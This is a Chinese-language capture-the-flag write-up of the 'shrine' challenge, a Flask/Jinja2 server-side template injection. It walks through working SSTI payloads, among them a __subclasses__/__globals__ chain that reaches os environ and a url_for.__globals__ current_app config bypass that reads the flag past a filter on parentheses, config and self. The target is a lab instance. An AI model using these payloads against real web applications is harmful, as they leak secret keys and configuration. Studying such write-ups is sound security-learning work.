[WesternCTF201tian8]shrine

⼀开头就爆出了源码:

app.route查了⼀下就是添加路由的意思,意思是我们

可以访问/shirine/xxx,后⾯的值作为参数传⼊进去。

随后开始模版注⼊:

这题的模版注⼊不准⽤( )、config、self

不准⽤()查了资料,没啥办法。

但是还是可以读config的。

If I can use config GET /shrine/{{config}} 

{{config.FLAG}} => TWCTF{secret}

2. If I can use self

{{self}} =><TemplateReference None>

{{self.__dict__}}

'FLAG': 'TWCTF{secret}'

Also, there are many things that can be used.

url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config

3. If I can use ( 和 )

{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}

'FLAG': 'TWCTF{secret}'

Since config, self ( 和 ) can not be used, in order to get config information, it is necessary to access config 

from its upper global variable (current_app etc.).

(for example)

__globals__['current_app'].config['FLAG']

top.app.config['FLAG']

上⾯的都⽤不了。

http://04bbf9f2-cb8e-4785-9dff-dd00f2e7f431.node4.buuoj.cn:81/shrine/

{{url_for.__globals__['current_app'].config['FLAG']}}

下⾯这样写也⾏,因为[""]=.

http://04bbf9f2-cb8e-4785-9dff-dd00f2e7f431.node4.buuoj.cn:81/shrine/

{{url_for.__globals__.current_app["config"]}}

同理利⽤get_flashed_messages也⾏。

url_for本身是⽤来找对应函数的位置的:

ps:关于format的学习:因为format⾥⾯有关键字{ },因此如果在字符串⾥就想要输⼊{或者}的话,那就输⼊两个

{{或两个}},最终字符串内会有⼀个{或者}。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值